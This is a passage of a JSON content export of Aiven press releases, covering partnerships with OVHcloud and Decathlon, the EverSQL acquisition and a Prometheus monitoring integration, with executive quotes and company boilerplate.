sportifs."}],"markDefs":[],"style":"normal"},{"_key":"46a288f206f2","_type":"block","children":[{"_key":"06df85ae0608","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d98f2bbbaaa6","_type":"block","children":[{"_key":"fb3fe3ba28070","_type":"span","marks":["strong"],"text":"À propos d’Aiven :"},{"_key":"8f7e3e6d3618","_type":"span","marks":[],"text":"\nBasée à Helsinki et dotée de hubs à Berlin, Boston, Toronto, Singapour, Sydney et récemment Paris, Aiven fournit des technologies de données open source managées, telles que PostgreSQL, Kafka, OpenSearch et M3, sur tous les principaux clouds américains et européens. Aiven propose ses services dans un environnement CloudOps qui aide les entreprises à tirer parti des avantages du cloud natif pour accélérer et sécuriser leur transformation. Grâce à Aiven, les développeurs peuvent se concentrer sur leur cœur de métier : créer des applications, tandis qu’Aiven gère l’infrastructure multicloud de données. Plus tôt cette année, ADEO a annoncé son partenariat avec Aiven. Aiven a levé 210 millions de dollars auprès de fonds de capital-risque et a atteint le statut de licorne. Aiven est soutenue par des investisseurs de renommée mondiale, notamment Atomico, IVP et Earlybird Venture Capital, entre autres. Pour en savoir plus sur Aiven, visitez "},{"_key":"de9e6145dc77","_type":"span","marks":["128645a2769a"],"text":"aiven.io"},{"_key":"cc6fccb1efe1","_type":"span","marks":[],"text":" et suivez "},{"_key":"585eaf9cbce1","_type":"span","marks":["a29312acfa02"],"text":"@aiven_io"},{"_key":"4c440bf4b8f1","_type":"span","marks":[],"text":" sur Twitter."}],"markDefs":[{"_key":"128645a2769a","_type":"internalLink","internalLink":{"_ref":"frontpage__i18n_fr","_type":"reference"}},{"_key":"a29312acfa02","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-02-24T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Le Groupe Decathlon choisit Aiven pour transformer ses technologies de gestion des données open source en une plateforme hautement résiliente configurée pour le DevOps.","metaTitle":"Decathlon choisit Aiven pour accélérer sa transition vers le cloud"},"slug":{"_type":"slug","current":"/press/decathlon-selects-to-the-cloud-through-open-source-dbaas-and-cloud-native"},"subtitle":"Le Groupe Decathlon choisit Aiven pour transformer ses technologies de gestion des données open source en une plateforme hautement résiliente configurée pour le DevOps.","title":"Decathlon Choisit Aiven pour Accélérer sa Transition vers le Cloud grâce à DbaaS Open Source et aux Solutions Cloud Native"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"6IvdrNWtZFGDuYJECNXlNv","_rev":"0rD6Phxg3duzic15oE9v1P","_type":"pressRelease","_updatedAt":"2022-12-02T12:57:54Z","content":[{"_key":"lG3VW8ZX","_type":"block","children":[{"_key":"16ed7cb48c90","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 1, 2022-"},{"_key":"mn838031","_type":"span","marks":[],"text":"With six new DBaaS solutions available, OVHcloud now offers its customers one of the largest DBaaS portfolios on the market. This acceleration was made possible thanks to a partnership with Aiven, the European software company that combines the best of open-source technologies and cloud infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"jpLLBc4C","_type":"block","children":[{"_key":"LIBApkYm","_type":"span","marks":[],"text":"With its six new Database-as-a-Service solutions (MySQL, PostgreSQL(1), Apache Kafka, Apache Kafka Mirror Maker, RedisTM(2) and OpenSearch) along with 5 other solutions (Apache Cassandra, M3, M3 Aggregator, Grafana(3) and Apache Kafka Connect(4) all available in spring 2022, OVHcloud is offering its customers the most comprehensive choice of managed databases."}],"markDefs":[],"style":"normal"},{"_key":"MsFR5JFC","_type":"block","children":[{"_key":"so4kHOmx","_type":"span","marks":[],"text":"Through its extensive Public Cloud Database portfolio, OVHcloud supports the adoption of a company’s Managed Platform-as-a-Service and facilitates the acceleration of their transformation as part of application modernisation, the implementation of a native cloud strategy, or the extrapolation of data through a complete data pipeline, based on artificial intelligence."}],"markDefs":[],"style":"normal"},{"_key":"X6pjEci8","_type":"block","children":[{"_key":"nizh6khd","_type":"span","marks":[],"text":"OVHcloud offers open-source databases, allowing its customers to benefit from the latest updates and innovation from user communities. These sustainable solutions, standards and supported by the open-source community guarantee portability and reversibility, to avoid any vendor lock-in."}],"markDefs":[],"style":"normal"},{"_key":"ytOfKNfH","_type":"block","children":[{"_key":"3Rd6Yqnu","_type":"span","marks":[],"text":"DBaaS solutions benefit from the advantages fundamental to the OVHcloud range: an accessible solution, an unparalleled price/performance ratio, predictable pricing and data location choices so you are not subject to extraterritorial laws."}],"markDefs":[],"style":"normal"},{"_key":"ujjydSwW","_type":"block","children":[{"_key":"XfAAzwHr","_type":"span","marks":["strong"],"text":"An OVHcloud-Aiven partnership to drive innovation"}],"markDefs":[],"style":"normal"},{"_key":"0pD5swf8","_type":"block","children":[{"_key":"UR2oG1B6","_type":"span","marks":[],"text":"For Thierry Souche, Chief Technical Officer at OVHcloud: “It’s essential for us to respond to our customers’ evolving needs, and to adapt to an ever-changing market. We have therefore decided to support them by offering a managed, trusted offer for a wide range of database engines. To achieve this, OVHcloud relied on the technologies from the European software player, Aiven, with which we share the same values - open-source innovation, interoperable standards, accessibility and simplicity. ” “Through our partnership with OVHcloud, we are providing opensource technologies that enable organizations to accelerate implementation of digital cloud infrastructure and utilize data to drive business and innovation. We are happy to be part of this changing moment in the history of OVHcloud,” Heikki Nousiainen, Chief Technology Officer at Aiven said."}],"markDefs":[],"style":"normal"},{"_key":"bW672UMr","_type":"block","children":[{"_key":"dIE95wym","_type":"span","marks":["strong"],"text":"An extensive catalogue to suit a variety of use cases"}],"markDefs":[],"style":"normal"},{"_key":"n3UQVkE1","_type":"block","children":[{"_key":"3wrKQ3t5","_type":"span","marks":[],"text":"Thanks to the use of managed databases, which enabled them to avoid infrastructure management and focus on their core business, the beta testers of the solution were able to increase their performance significantly."}],"markDefs":[],"style":"normal"},{"_key":"YOFEHxML","_type":"block","children":[{"_key":"tS2Sd6vg","_type":"span","marks":[],"text":"“We have developed our applications to provide real-time vehicle condition data to our customers. We needed to find the right cloud provider to manage our MySQL database: a GDPR-compliant provider that is also able to deploy our service quickly. Using the OVHcloud’s managed DBaaS helps our IT Team to focus on their core mission whilst maintaining high uptime system availability. We like the Public Cloud Database for MySQL for its performance, security, and ease of use”, shares Nick Chadaway, Managing Director of DMN Logistics."}],"markDefs":[],"style":"normal"},{"_key":"TX6NfZz6","_type":"block","children":[{"_key":"9Ic8umWM","_type":"span","marks":[],"text":"Liv Systems GmbH, a startup based in Germany, tested the beta of managed MySQL, coupled with Managed Kubernetes and the load balancer. “Thanks to this DBaaS, we were able to build a production environment and use the databases for a knowledge base and user management. As everything can be set via the console, the set-up was smooth and easy. It really has been a time saver!”"}],"markDefs":[],"style":"normal"},{"_key":"8bau4TFH","_type":"block","children":[{"_key":"Wjp3RzJc","_type":"span","marks":[],"text":"Sébastien Gaïde, CTO and co-founder of the startup Tilkal, a blockchain platform for supply chain traceability, explains: “Our business requires to optimally protect our customers’ data. That is why we joined OVHcloud one year ago. Since November 2021, we have tested PostgreSQL databases, so that we have no longer to manage them ourselves on dedicated servers. We have not only doubled our performance, but also gained reliability and ease of use. ”"}],"markDefs":[],"style":"normal"},{"_key":"LW7UlWar","_type":"block","children":[{"_key":"4mnYea5j","_type":"span","marks":[],"text":"(1) PostgreSQL is a trademark of the PostgreSQL Community Association of Canada, and used with their permission."}],"markDefs":[],"style":"normal"},{"_key":"6gYP82VE","_type":"block","children":[{"_key":"ZBpsV3Qs","_type":"span","marks":[],"text":"(2)Redis is a trademark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by OVH SAS is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and OVH SAS."}],"markDefs":[],"style":"normal"},{"_key":"dBWVxN1P","_type":"block","children":[{"_key":"SuaFjvhM","_type":"span","marks":[],"text":"(3)The Grafana Labs Marks are trademarks of Grafana Labs, and are used with Grafana Labs’ permission. We are not affiliated with, endorsed or sponsored by Grafana Labs or its affiliates."}],"markDefs":[],"style":"normal"},{"_key":"1Kbqx8wo","_type":"block","children":[{"_key":"rqc8eqdO","_type":"span","marks":[],"text":"(4)All product names, logos, and brands are property of their respective owners. All company, product and service names used in this release are for identification purposes only. Use of these company names, logos, and trademarks should not suggest endorsement, sponsorship, or association with the owner of those intellectual property rights."}],"markDefs":[],"style":"normal"},{"_key":"2BWaD1Gn","_type":"block","children":[{"_key":"ESXK2JNS","_type":"span","marks":["strong"],"text":"About OVHcloud"}],"markDefs":[],"style":"normal"},{"_key":"2Ehk2QfH","_type":"block","children":[{"_key":"Uj14xV8A","_type":"span","marks":[],"text":"OVHcloud is a global player and Europe’s leading cloud provider operating over 400,000 servers within 33 data centres across four continents. For 20 years, the Group has relied on an integrated model that provides complete control of its value chain–from the design of its servers, to the construction and management of its data centres, including the orchestration of its fibre-optic network. This unique approach allows it to independently cover all the uses of its 1.6 million customers in more than 140 countries. OVHcloud now offers its customers latest-generation solutions combining performance, price predictability and total sovereignty over their data to support their growth in complete freedom. Newsroom: "},{"_key":"6htR4UpU","_type":"span","marks":["m2589355046796"],"text":"https://corporate.ovhcloud.com/en/newsroom/"}],"markDefs":[{"_key":"m2589355046796","_type":"link","href":"https://corporate.ovhcloud.com/en/newsroom/"}],"style":"normal"},{"_key":"3kAVvxN2","_type":"block","children":[{"_key":"MD245X1Z","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"AprF8bLY","_type":"block","children":[{"_key":"GRWLTiNd","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation and has now raised $210M total funding backed by its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures and World Innovation Lab. To learn more about Aiven, visit "},{"_key":"ogfEjeqp","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"STEgB7DM","_type":"span","marks":[],"text":" and follow "},{"_key":"iFQAqiQP","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"4xcGLrUU","_type":"span","marks":[],"text":"on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-02-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"With six new DBaaS solutions available, OVHcloud now offers its customers one of the largest DBaaS portfolios on the market. ","metaTitle":"Aiven OVHcloud confirms shift to PaaS and expands its DBaaS "},"slug":{"_type":"slug","current":"/press/through-its-partnership-with-aiven-ovhcloud-confirms-its-shift"},"subtitle":"With six new DBaaS solutions available, OVHcloud now offers its customers one of the largest DBaaS portfolios on the market. This acceleration was made possible thanks to a partnership with Aiven, the European software company that combines the best of open-source technologies and cloud infrastructure. ","title":"Through its partnership with Aiven, OVHcloud confirms its shift to PaaS and expands its DBaaS offering "}
{"__i18n_lang":"en","_createdAt":"2023-11-21T13:29:38Z","_id":"0b20ba75-d1ee-400a-8817-098a3a3e3323","_rev":"Arp4NzaYseKQ5hw9daCR9E","_type":"pressRelease","_updatedAt":"2023-11-21T14:00:01Z","content":[{"_key":"ab9c7357b9a5","_type":"block","children":[{"_key":"9a27e0cdc6980","_type":"span","marks":[],"text":"HELSINKI, Finland — November 21, 2023 — Aiven, the open source cloud data platform company, today announced it has acquired EverSQL, a database optimization software vendor. With the acquisition, Aiven enhances its platform with AI-driven workload optimization capabilities. This will enable companies to focus on data-driven innovation on top of performant and cost-optimized pipelines and infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"802ac36426d9","_type":"block","children":[{"_key":"7fa00cdb46be0","_type":"span","marks":[],"text":"Today businesses rely on data to power the applications and systems underpinning decision-making, customer experiences and operational efficiencies. But as the importance of data has grown and the supporting infrastructure has become more complex, so has the management burden ­– often at the cost of innovation. Aiven provides the essential toolkit organizations can use to deploy data-centric applications while solving the challenges of managing the data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"cc81ffdf077c","_type":"block","children":[{"_key":"5e13e5795c4c0","_type":"span","marks":[],"text":"EverSQL was established to transform and automate database performance analysis – through the use of AI – to speed up applications and free up time for innovation. The company’s popularity has grown quickly, with more than 100,000 software engineers in 90 countries using the solution to optimize their workloads on top of a variety of databases."}],"markDefs":[],"style":"normal"},{"_key":"452d1bfea0b1","_type":"block","children":[{"_key":"a7e1c156b5080","_type":"span","marks":[],"text":"By integrating EverSQL’s AI-powered optimization engine into Aiven’s open source platform, Aiven customers will receive automated, personalized and actionable insights to help fine-tune their data architecture. This will result in optimized data workflows, improved performance and lowered costs."}],"markDefs":[],"style":"normal"},{"_key":"6039429cac47","_type":"block","children":[{"_key":"35906cdea7940","_type":"span","marks":[],"text":"In the coming months, customers using Aiven for PostgreSQL® and Aiven for MySQL® will benefit from automated query optimizations and index recommendations. Subsequently, capabilities will expand to include monitoring and alerting, supported by automatically generated optimization insights that are quick and easy to understand and implement. The EverSQL engine will also be extended across other open source services in the Aiven platform and more advanced service settings and configuration tuning capabilities will be developed. Aiven is fully committed to support and grow the current set of available EverSQL functionalities on top of any database supported in Aiven or elsewhere."}],"markDefs":[],"style":"normal"},{"_key":"b64fd566f7a8","_type":"block","children":[{"_key":"6e3540c309350","_type":"span","marks":[],"text":"Oskari Saarenmaa, CEO of Aiven, said: “EverSQL brings us industry-leading, AI-powered database optimization capabilities which, when combined with Aiven’s open source cloud data platform, is a unique offering for companies that want to capture more value from their data. Our services are complementary and aligned to a shared goal – to simplify the management of data infrastructures to unleash innovation. I’d like to welcome the talented EverSQL team to Aiven and I am looking forward to collectively delivering even more support, value and capabilities to our combined customer base.”"}],"markDefs":[],"style":"normal"},{"_key":"1e158850f325","_type":"block","children":[{"_key":"aaccaee652490","_type":"span","marks":[],"text":"Oded Valin, EverSQL Co-Founder and CEO, said: “EverSQL has quickly established itself as a leader in the use of AI to automate the process of database performance optimization. As a part of Aiven, EverSQL will be able to deliver autonomous optimization capabilities to even more companies globally and rapidly expand the offering through integration across Aiven’s leading data platform. My fellow EverSQL Co-Founder and CTO Tomer Shay and I are both excited to set up and grow the team dedicated to developing AI-powered optimization capabilities at Aiven.”"}],"markDefs":[],"style":"normal"},{"_key":"99ab1e707ab7","_type":"block","children":[{"_key":"cb242bba80ec0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b1c7ab4e1dbf","_type":"block","children":[{"_key":"17c3c03b12a90","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"be570b241386","_type":"block","children":[{"_key":"be94d5176b42","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can focus on what they do best: drive innovation that delivers value for their customers. Meanwhile, Aiven does what they do best: manage cloud data infrastructure that’s price-performant. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"fd866bc8c647","_type":"block","children":[{"_key":"8140fcb3cc3b0","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"9f6948425f7a","_type":"block","children":[{"_key":"71e61a3009a10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6f283fbc4686","_type":"block","children":[{"_key":"84b323e678ea0","_type":"span","marks":["strong"],"text":"About EverSQL"}],"markDefs":[],"style":"normal"},{"_key":"5f23536adf4e","_type":"block","children":[{"_key":"26fc9ee6b09b0","_type":"span","marks":[],"text":"EverSQL offers an AI-powered database optimization platform, allowing customers to accelerate their data workflows, while also reducing costs. Already trusted by more than 100,000 software engineers, the solution reduces development time and saves the cost of database experts by using automatic optimization algorithms for database query tuning, index recommendations and more. EverSQL supports a variety of databases, including PostgreSQL®, MySQL® and more."}],"markDefs":[],"style":"normal"},{"_key":"f6f8a97a7db4","_type":"block","children":[{"_key":"6f86095ade5f0","_type":"span","marks":[],"text":"To learn more about EverSQL visit EverSQL.com and follow @EverSQL on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"a17b924bc275","_type":"block","children":[{"_key":"0b64329ed2b1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a34527461b33","_type":"block","children":[{"_key":"41c45b5afb870","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"4cb54c700964","_type":"block","children":[{"_key":"e7a71e03241d0","_type":"span","marks":[],"text":"press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-11-21T14:00:35.564Z","seo":{"_type":"metaData","metaDescription":"EverSQL’s AI-powered capabilities help optimize data workflows and improve cloud data infrastructure performance while lowering costs","metaImage":{"_type":"mainImage","asset":{"_ref":"image-314defd03b940a7b1f0114646dfa59a80cee86c2-1200x628-png","_type":"reference"}},"metaTitle":"Aiven acquires EverSQL"},"slug":{"_type":"slug","current":"/press/aiven-acquires-eversql"},"subtitle":"EverSQL’s AI-powered capabilities help optimize data workflows and improve cloud data infrastructure performance while lowering costs","title":"Aiven Enables Customers to Focus on Data-Driven Innovation with Acquisition of EverSQL"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5MrowoAvWvhgn6Lj51rDjf","_rev":"5iTZEBNHx5PwgJLwP8hCY9","_type":"pressRelease","_updatedAt":"2022-12-02T12:44:37Z","body":"OVHcloud is accelerating the development of its Database-as-a-Service (DBaaS) offer by partnering with Aiven, a European software company that combines the best open-source technologies with cloud infrastructure. This new offer will provide professionals with fully managed database solutions based on a trusted cloud.\n\nAccording to Gartner, by 2022, 75% of databases will be deployed or migrated to a cloud platform [1].\n\nThis partnership will enable OVHcloud to offer an extensive catalog of DBaaS solutions such as MySQL, PostgreSQL, Redis, Apache Kafka, OpenSearch, M3, and Apache Cassandra. This wide range of database management systems will suit a variety of uses, from legacy applications to AI applications, web applications, and e-commerce websites.\n\nDatabase-as-a-Service solutions based on OVHcloud trusted infrastructure will give organizations security, confidentiality, and reversibility guarantees for their data. Companies will retain exclusive control over their data and focus on the added value of their applications, as they will no longer have to worry about the configuration, installation, and maintenance of the database software, the backups, and hardware infrastructure needed to run the service securely. Moreover, companies will get the best price/performance ratio, predictable costs, as well as the power of the open source to accelerate their innovation.\n\n“This partnership with Aiven allows us to accelerate the delivery of a full catalog of Database-as-a-Service. Offering OVHcloud customers a wide range of choices to develop and run their applications in the cloud while retaining full control over their data,” commented Sylvain Rouri, Chief Sales Officer at OVHcloud. “We share with Aiven, a European company, the values of transparency and reversibility enabled by open-source technologies, offering companies the ability to accelerate their innovation while protecting themselves from technological lock-in.”\n\n“We are proud to partner with Europe’s leading cloud services provider to enable more organizations to leverage best-of-breed data technologies. Our joint services enable customers to focus on their core business while we manage their infrastructure in an open and trusted cloud environment,” said Oskari Saarenmaa, CEO at Aiven.\n\n[1] Source: Gartner, [The Future of the DBMS Market Is Cloud](https://www.gartner.com/en/newsroom/press-releases/2019-07-01-gartner-says-the-future-of-the-database-market-is-the \"Gartner Says the Future of the Database Market Is the Cloud\").\n\n__About OVHcloud__\n\nOVHcloud is a global player and the leading European cloud provider operating 400,000 servers within over 30 data centres across 4 continents. For 20 years, the Group has been leveraging an integrated model that provides full control of our value chain, from designing our servers to managing our data centres through to orchestrating our fibre-optic network. This unique approach enables OVHcloud to cover, independently, the full spectrum of use cases for our 1.6 million customers across 140 countries. OVHcloud now offers customers latest-generation solutions that combine high performance, predictable pricing and full data sovereignty to support their unfettered growth.\n\n__About Aiven__\n\nHeadquartered in Helsinki with hubs in Berlin, Boston, Toronto and Sydney, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best; manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit [aiven.io](https://aiven.io/ \"Aiven\") and follow [@aiven_io](https://twitter.com/aiven_io \"Aiven on Twitter\") on Twitter.","content":[{"_key":"5u6PBOW7","_type":"block","children":[{"_key":"70902fab69e0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — July 13, 2021- "},{"_key":"kIxdP6Sw","_type":"span","marks":[],"text":"OVHcloud is accelerating the development of its Database-as-a-Service (DBaaS) offer by partnering with Aiven, a European software company that combines the best open-source technologies with cloud infrastructure. This new offer will provide professionals with fully managed database solutions based on a trusted cloud."}],"markDefs":[],"style":"normal"},{"_key":"zc7kWCjB","_type":"block","children":[{"_key":"BSGLXnvD","_type":"span","marks":[],"text":"According to Gartner, by 2022, 75% of databases will be deployed or migrated to a cloud platform [1]."}],"markDefs":[],"style":"normal"},{"_key":"SbG9ckv5","_type":"block","children":[{"_key":"eKKd4xOM","_type":"span","marks":[],"text":"This partnership will enable OVHcloud to offer an extensive catalog of DBaaS solutions such as MySQL, PostgreSQL, Redis, Apache Kafka, OpenSearch, M3, and Apache Cassandra. This wide range of database management systems will suit a variety of uses, from legacy applications to AI applications, web applications, and e-commerce websites."}],"markDefs":[],"style":"normal"},{"_key":"6TIVxAjA","_type":"block","children":[{"_key":"MEgP9B2v","_type":"span","marks":[],"text":"Database-as-a-Service solutions based on OVHcloud trusted infrastructure will give organizations security, confidentiality, and reversibility guarantees for their data. Companies will retain exclusive control over their data and focus on the added value of their applications, as they will no longer have to worry about the configuration, installation, and maintenance of the database software, the backups, and hardware infrastructure needed to run the service securely. Moreover, companies will get the best price/performance ratio, predictable costs, as well as the power of the open source to accelerate their innovation."}],"markDefs":[],"style":"normal"},{"_key":"xPzmCqBY","_type":"block","children":[{"_key":"BEmJC1Er","_type":"span","marks":[],"text":"“This partnership with Aiven allows us to accelerate the delivery of a full catalog of Database-as-a-Service. Offering OVHcloud customers a wide range of choices to develop and run their applications in the cloud while retaining full control over their data,” commented Sylvain Rouri, Chief Sales Officer at OVHcloud. “We share with Aiven, a European company, the values of transparency and reversibility enabled by open-source technologies, offering companies the ability to accelerate their innovation while protecting themselves from technological lock-in.”"}],"markDefs":[],"style":"normal"},{"_key":"31JhHfNT","_type":"block","children":[{"_key":"ae0eChuu","_type":"span","marks":[],"text":"“We are proud to partner with Europe’s leading cloud services provider to enable more organizations to leverage best-of-breed data technologies. Our joint services enable customers to focus on their core business while we manage their infrastructure in an open and trusted cloud environment,” said Oskari Saarenmaa, CEO at Aiven."}],"markDefs":[],"style":"normal"},{"_key":"r2suqesx","_type":"block","children":[{"_key":"5Sh5nEnS","_type":"span","marks":[],"text":"[1] Source: Gartner, "},{"_key":"XmqF3oeB","_type":"span","marks":["m4237046521341"],"text":"The Future of the DBMS Market Is Cloud"},{"_key":"gDDE6nYv","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4237046521341","_type":"link","href":"https://www.gartner.com/en/newsroom/press-releases/2019-07-01-gartner-says-the-future-of-the-database-market-is-the"}],"style":"normal"},{"_key":"UF8b0xN5","_type":"block","children":[{"_key":"uBzpCeZb","_type":"span","marks":["strong"],"text":"About OVHcloud"}],"markDefs":[],"style":"normal"},{"_key":"FWXVVzXU","_type":"block","children":[{"_key":"YMLezHt6","_type":"span","marks":[],"text":"OVHcloud is a global player and the leading European cloud provider operating 400,000 servers within over 30 data centres across 4 continents. For 20 years, the Group has been leveraging an integrated model that provides full control of our value chain, from designing our servers to managing our data centres through to orchestrating our fibre-optic network. This unique approach enables OVHcloud to cover, independently, the full spectrum of use cases for our 1.6 million customers across 140 countries. OVHcloud now offers customers latest-generation solutions that combine high performance, predictable pricing and full data sovereignty to support their unfettered growth."}],"markDefs":[],"style":"normal"},{"_key":"fBuSKPSa","_type":"block","children":[{"_key":"v6LR5tve","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"ElwkFTkN","_type":"block","children":[{"_key":"P6ZL698L","_type":"span","marks":[],"text":"Headquartered in Helsinki with hubs in Berlin, Boston, Toronto and Sydney, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best; manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit "},{"_key":"VxzjbKGa","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"0MVTZzNS","_type":"span","marks":[],"text":" and follow "},{"_key":"eArkAKnA","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"NETufpkv","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-07-13T00:00:00.000Z","seo":{"metaDescription":"This wide range of solutions will enable organizations to accelerate their innovation, ensure their data protection (GDPR) while retaining their technological sovereignty.","metaTitle":"OVHcloud partners with Aiven to enhance DBaaS offer"},"slug":{"_type":"slug","current":"/press/ovhcloud-partners-with-aiven-to-enhance-its-database-as-a-service-offer"},"subtitle":"This wide range of solutions will enable organizations to accelerate their innovation, ensure their data protection (GDPR) while retaining their technological sovereignty.","title":"OVHcloud partners with Aiven to enhance DBaaS offer"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5V0tZsNRrkoxoLdA0nDdKt","_rev":"AKgKLyYIzQkMcxjfvdx3Gj","_type":"pressRelease","_updatedAt":"2022-12-02T11:34:19Z","body":"__Helsinki, Finland__\n\nThe Aiven platform can now be integrated with Prometheus. Released in 2012, Prometheus is a popular open source monitoring and alerting system modeled after Google’s monitoring system, Borgmon.\n\nAlexander Rickardsson, Site Reliability Engineer for Aiven discusses how the Prometheus integration works with the Aiven platform, \"Prometheus utilizes a pull-based system, meaning it will scrape the endpoints you configure it to, rather than wait for systems to report metrics to it. Aiven will provide the endpoints containing metrics from your services, and you can point your Prometheus installation to them. Be it your main production monitoring installation, or just a local copy running on your laptop while doing development. The freedom and choice are yours.\"\n\nPrometheus allows users to create complex alerts based on a number of factors due to its query language and is integrable with a number of databases and graphing systems, such as Grafana.\n\nAside from its popularity, its active open source community and integrable nature are the primary reasons why Aiven chose to support Prometheus as an available integration for their platform.\n\nThe integration can be triggered from the Aiven dashboard with a few button clicks and is available for OpenSearch, Kafka, PostgreSQL, and Redis. Users can also send data from Prometheus to other Aiven services, such as TimescaleDB for long-term storage and Aiven Grafana for rich graphing.\n\nTo learn more about the Prometheus open source project, visit [https://prometheus.io](https://prometheus.io).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"jZUcicOO","_type":"block","children":[{"_key":"1e010d035876","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 26, 2018-"},{"_key":"1dfIksad","_type":"span","marks":[],"text":"The Aiven platform can now be integrated with Prometheus. Released in 2012, Prometheus is a popular open source monitoring and alerting system modeled after Google’s monitoring system, Borgmon."}],"markDefs":[],"style":"normal"},{"_key":"P5RHxMzD","_type":"block","children":[{"_key":"EXIkunpi","_type":"span","marks":[],"text":"Alexander Rickardsson, Site Reliability Engineer for Aiven discusses how the Prometheus integration works with the Aiven platform, \"Prometheus utilizes a pull-based system, meaning it will scrape the endpoints you configure it to, rather than wait for systems to report metrics to it. Aiven will provide the endpoints containing metrics from your services, and you can point your Prometheus installation to them. Be it your main production monitoring installation, or just a local copy running on your laptop while doing development. The freedom and choice are yours.\""}],"markDefs":[],"style":"normal"},{"_key":"TMVdKWNy","_type":"block","children":[{"_key":"bhhvyPPM","_type":"span","marks":[],"text":"Prometheus allows users to create complex alerts based on a number of factors due to its query language and is integrable with a number of databases and graphing systems, such as Grafana."}],"markDefs":[],"style":"normal"},{"_key":"H4emgdhA","_type":"block","children":[{"_key":"lOlWEijY","_type":"span","marks":[],"text":"Aside from its popularity, its active open source community and integrable nature are the primary reasons why Aiven chose to support Prometheus as an available integration for their platform."}],"markDefs":[],"style":"normal"},{"_key":"LybWsKQ1","_type":"block","children":[{"_key":"fLfZyO1u","_type":"span","marks":[],"text":"The integration can be triggered from the Aiven dashboard with a few button clicks and is available for OpenSearch, Kafka, PostgreSQL, and Redis. Users can also send data from Prometheus to other Aiven services, such as TimescaleDB for long-term storage and Aiven Grafana for rich graphing."}],"markDefs":[],"style":"normal"},{"_key":"CZ5qRIl2","_type":"block","children":[{"_key":"QjfLLO1O","_type":"span","marks":[],"text":"To learn more about the Prometheus open source project, visit "},{"_key":"VrvajHyd","_type":"span","marks":["m17136149923624"],"text":"https://prometheus.io"},{"_key":"DHhY4BTk","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m17136149923624","_type":"link","href":"https://prometheus.io"}],"style":"normal"},{"_key":"gnGJImIk","_type":"block","children":[{"_key":"6ezrxUAZ","_type":"span","marks":["strong"],"text":"About 